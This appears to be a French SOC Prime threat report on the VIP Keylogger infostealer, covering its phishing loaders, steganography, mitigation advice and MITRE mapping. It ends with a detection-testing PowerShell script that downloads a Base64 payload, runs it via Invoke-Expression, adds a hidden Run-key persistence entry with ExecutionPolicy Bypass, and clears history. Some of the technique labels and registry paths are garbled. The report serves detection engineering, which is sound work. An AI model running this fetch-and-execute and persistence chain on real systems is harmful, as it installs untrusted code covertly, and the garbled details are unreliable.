SOC Prime Bias: Moyen

18 May 2026 19:04 UTC

VIP Keylogger et ses tactiques d’évasion à plusieurs niveaux

Author Photo
SOC Prime Team linkedin icon Suivre
VIP Keylogger et ses tactiques d’évasion à plusieurs niveaux
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

VIP Keylogger est une menace modulaire de vol d’informations diffusée via des appâts de phishing tels que de fausses alertes de paiement bancaire. Sa chaîne d’infection repose sur des chargeurs malveillants VBS, JavaScript ou batch qui utilisent une forte obfuscation, de la stéganographie dans les images PNG, et détournent les variables d’environnement pour masquer les étapes PowerShell avant de lancer le keylogger final. Une fois actif, le logiciel malveillant capture les identifiants, les captures d’écran, le contenu du presse-papiers et les mots de passe Wi-Fi, puis exfiltre les données via plusieurs canaux de commande et de contrôle. Les efforts de détection devraient se concentrer sur les modifications suspectes du registre, les valeurs inhabituelles des variables d’environnement et les transitions anormales de l’exécution de scripts à des charges utiles binaires.

Enquête

L’équipe de recherche sur les menaces de Splunk a examiné plus de 200 échantillons de chargeurs collectés en mars et avril 2026, documentant leurs modèles de nommage, variantes de chargeurs, et l’utilisation stéganographique des fichiers PNG pour la livraison des charges utiles. Les chercheurs ont reproduit le processus de désobfuscation, identifié l’abus de la INTERNAL_DB_CACHE variable d’environnement, et tracé la persistance jusqu’à la clé de registre UserInitMprLogonScript . Le rapport a également cartographié chaque comportement observé aux techniques MITRE ATT&CK pertinentes pour soutenir l’ingénierie de détection.

Atténuation

Les organisations devraient arrêter les tentatives de phishing initiales par des contrôles de sécurité des e-mails plus forts et un filtrage d’URL. Les défenseurs devraient surveiller la création et la modification des valeurs HKCUEnvironment , en particulier les entrées surdimensionnées ou l’utilisation de la variable INTERNAL_DB_CACHE . L’exécution de chargeurs basés sur des scripts à partir de répertoires modifiables par l’utilisateur devrait être restreinte, et le mode de langage contraint de PowerShell devrait être imposé lorsque cela est possible. Les outils de sécurité des points d’extrémité devraient également détecter l’injection de processus dans aspnet_compiler.exe et les activités suspectes de netsh .

Réponse

Si un indicateur de VIP Keylogger est détecté, isolez l’hôte affecté, collectez la mémoire volatiles et les journaux d’exécution de processus récents, et recherchez les artefacts connus du registre, les URL de commande et contrôle basés sur PNG, et les fichiers déposés. Les scripts malveillants doivent être supprimés, les identifiants exposés réinitialisés, et un balayage plus large doit être effectué sur l’environnement pour les artefacts de chargeurs connexes et mécanismes de persistance.

"graph TB %% Définitions des classes classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 %% Nœuds initial_access["<b>Action</b> – <b>T1566 Phishing</b><br/>Fichiers .vbs/.js/.bat malveillants livrés par e-mail"] class initial_access action execution["<b>Action</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Chargeurs de script exécutés sur l’hôte"] class execution action obfuscation["<b>Action</b> – <b>T1027.016 Insertion de code inutile</b>, <b>T1027.003 Stéganographie</b>, <b>T1027.009 Charges utiles incorporées</b><br/>Charges utiles cachées ou déguisées"] class obfuscation action persistence["<b>Action</b> – <b>T1574.007 Détournement de flux d’exécution</b> via Script de connexion de registre (UserInitMprLogonScript)<br/><b>T1037.001 Script d’initialisation de connexion au démarrage</b><br/>Assure l’exécution du code à la connexion"] class persistence action priv_esc["<b>Action</b> – <b>T1055.002 Injection de processus PE</b>, <b>T1055.001 Injection DLL</b>, <b>T1620 Chargement de code réflectif</b><br/>Escalade de privilèges et évasion des défenses"] class priv_esc action credential_access["<b>Action</b> – <b>T1555.003 Données de navigation</b>, <b>T1056.001 Enregistrement de frappe</b>, <b>T1115 Détournement du presse-papiers</b><br/>Collecte des identifiants utilisateur"] class credential_access action discovery["<b>Action</b> – <b>T1596.005 Découverte d’IP externe</b> via services publics<br/><b>T1016.002 Découverte du mot de passe Wiu2011Fi</b><br/>Collecte d’informations réseau"] class discovery action collection["<b>Action</b> – <b>T1113 Capture d’écran</b><br/>Collecte des données visuelles du bureau"] class collection action c2["<b>Action</b> – <b>T1071.001 Protocoles Web</b> et API Telegram bot<br/>Fournit une commande et un contrôle à distance"] class c2 action defense_evasion["<b>Action</b> – <b>T1070.004 Suppression de fichiers</b>, <b>T1070.010 Suppression d’indicateurs</b><br/>Retire des preuves après l’opération"] class defense_evasion action %% Connexions montrant le flux d’attaque initial_access –>|leads_to| execution execution –>|leads_to| obfuscation obfuscation –>|leads_to| persistence persistence –>|leads_to| priv_esc priv_esc –>|leads_to| credential_access credential_access –>|leads_to| discovery discovery –>|leads_to| collection collection –>|leads_to| c2 c2 –>|leads_to| defense_evasion "

Flux d’attaque

Exécution de la simulation

Préalable : le contrôle préalable de télémétrie et de référence doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront des erreurs de diagnostic.

  • Narratif d’attaque et commandes :

    1. Reconnaissance initiale – l’attaquant exécute Get-ADDomain (T1016.002) pour découvrir les relations de confiance du domaine.
    2. Acquisition de charge utile – en utilisant Invoke-WebRequest (T1071.001) l’attaquant télécharge une DLL encodée en Base64 qui implémente le keylogger (T1056.001).
    3. Mise en scène via une variable d’environnement – la chaîne téléchargée est stockée dans une variable d’environnement au niveau de l’utilisateur via [Environment]::SetEnvironmentVariable. Cette étape satisfait l’accent de la règle de détection sur la manipulation des variables d’environnement.
    4. Exécution dynamique – l’attaquant exécute immédiatement la charge utile avec Invoke-Expression $env:VIPPayload (T1059.001). Le keylogger commence à capturer les frappes au clavier, les captures d’écran (T1113), et les données du presse-papiers (T1115).
    5. Nettoyage – après avoir établi la persistance (par exemple, en créant une clé Run, T1037.001), l’attaquant supprime la DLL temporaire du disque (T1070.004) et retire la variable d’environnement pour réduire les traces forensic.
  • Script de test de régression : Le script ci-dessous reproduit exactement les étapes et génère la télémétrie que la règle Sigma attend.

    # Simulation VIP Keylogger - PowerShell
    # -------------------------------------------------
    # 1. Télécharger une charge utile factice (chaîne encodée en Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Stocker la charge utile dans une variable d'environnement au niveau de l'utilisateur
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Décoder et exécuter la charge utile via Invoke-Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Optionnel) Persister via clé Run - démontre T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Nettoyage - supprimer la variable d'environnement et l'entrée de clé Run
    Start-Sleep -Seconds 30   # permettre l'enregistrement de certaines activités
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Commandes de nettoyage : Exécutez ces commandes pour ramener le système à un état impeccable après le test.

    # Supprimer la variable d'environnement créée pour le test
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Supprimer l'entrée de clé Run de persistance si elle existe
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Effacer toutes les entrées résiduelles de l'historique PowerShell (optionnel)
    Clear-History